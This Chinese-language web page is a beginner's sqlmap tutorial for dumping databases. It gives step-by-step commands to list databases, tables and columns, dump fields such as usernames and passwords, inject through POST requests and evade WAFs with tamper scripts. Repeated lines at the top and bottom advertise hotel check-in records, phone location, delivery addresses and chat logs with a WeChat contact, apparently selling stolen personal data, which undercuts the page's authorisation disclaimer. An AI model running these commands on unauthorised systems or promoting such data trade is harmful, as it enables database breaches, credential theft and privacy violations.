sqlmap 爆数据库命令 新手可用

@ ( 开房记录、手机定位 )@

@ ( 外卖地址、聊天记录 )@

针对新手使用 sqlmap 获取数据库信息(俗称“爆库”),最核心的思路是遵循“由大到小、逐层深入”的逻辑。以下为你整理了最常用、最基础的命令组合,并附带了新手必备的实用参数:

1642246816_U_Y55_SZJ6_PCGOPLC.png.731319c11087f4b699906dcc29abb113.png一、 核心“爆库”四步曲(基础公式)

这是最经典的获取数据流程,建议新手先熟练掌握:

1. 爆所有数据库名称

sqlmap -u "目标URL" --dbs

说明:获取目标服务器上存在的所有数据库名称。

2. 爆指定数据库下的所有表

sqlmap -u "目标URL" -D 数据库名 --tables

说明:使用 -D 指定上一步获取的数据库名称,列出该库中的所有表。

3. 爆指定表中的所有字段(列)

sqlmap -u "目标URL" -D 数据库名 -T 表名 --columns

说明:使用 -D 和 -T 分别指定库名和表名,获取该表的字段结构。

4. 爆指定字段中的数据(脱库)

sqlmap -u "目标URL" -D 数据库名 -T 表名 -C 字段名 --dump

说明:使用 -C 指定具体字段(多个字段用逗号隔开,如 username,password),将数据导出到本地。

二、 新手必加的“防坑”实用参数

在实际操作中,为了避免 sqlmap 频繁询问或报错,强烈建议在上述命令后加上以下参数:

*   --batch:全自动模式。不再询问任何选项,全部采用默认配置,极大提升效率。

*   --flush-session:清除缓存。当目标数据发生变化,但 sqlmap 仍读取旧结果时,加上此参数可强制重新测试。

*   --cookie="你的Cookie值":针对需要登录才能访问的页面,必须携带有效的 Cookie 才能注入。

*   --random-agent:随机 User-Agent。防止因默认 UA 被 WAF(Web应用防火墙)拦截。

三、 常见场景快捷命令

1. 针对 POST 请求注入

如果参数在请求体中,可以使用 Burp Suite 抓包保存为 request.txt,然后使用 -r 参数:

sqlmap -r request.txt --dbs --batch

2. 快速查看当前环境信息

如果你只想快速确认当前连接的数据库和用户:

sqlmap -u "目标URL" --current-db --current-user --batch

3. 绕过 WAF 的进阶尝试

如果发现被拦截,可以尝试提高测试等级并使用混淆脚本:

sqlmap -u "目标URL" --dbs --level=3 --tamper="space2comment" --batch

️ 安全合规提示:

sqlmap 是强大的渗透测试工具,请务必在获得明确授权的本地靶场(如 DVWA、Pikachu)或合法的安全评估项目中使用。未经授权对他人系统进行测试属于违法行为。

@ ( 开房记录、手机定位 )@

@ ( 外卖地址、聊天记录 )@

微信号复制成功

打开微信,点击右上角"+"号,添加朋友,粘贴微信号,搜索即可!